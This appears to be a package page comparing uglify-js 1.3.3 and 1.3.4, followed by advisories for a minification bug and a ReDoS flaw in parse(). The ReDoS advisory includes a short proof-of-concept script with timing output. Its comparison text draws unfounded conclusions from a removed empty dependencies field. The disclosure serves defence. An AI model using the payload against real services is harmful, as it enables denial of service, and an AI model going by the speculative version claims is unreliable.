UglifyJS, a widely used JavaScript parser, compressor, and beautifier toolkit, saw a small but potentially impactful update moving from version 1.3.3 to 1.3.4. Both versions share the same core purpose: optimizing JavaScript code for production by reducing its size and improving readability (through beautification). They are both developed by Mihai Bazon and depend on Nodeunit for testing. The source code repository remains consistent between versions, hosted on GitHub.
However, a key difference lies in the stated dependencies. Version 1.3.3 explicitly lists an empty dependencies object, while version 1.3.4 omits this section altogether. This implies that version 1.3.4 might have introduced new internal dependencies or made changes to how dependencies are handled. Developers upgrading should investigate potential compatibility issues stemming from this change or new bundled libraries.
Furthermore, the release dates highlight the recency of each version. Version 1.3.4 was released in October 2012, approximately three months after version 1.3.3, released in July 2012. This short timeframe suggests the update might have addressed bug fixes, performance improvements, or minor feature enhancements. While the core function of UglifyJS remains consistent, the newer version likely offers a more refined and potentially more reliable experience. Developers should consult the detailed changelog or commit history on the GitHub repository to fully understand the specific alterations introduced. The newer 1.3.4 also provides the dist file as tarball, which is useful for distribution purposes.
All the vulnerabilities related to the version 1.3.4 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.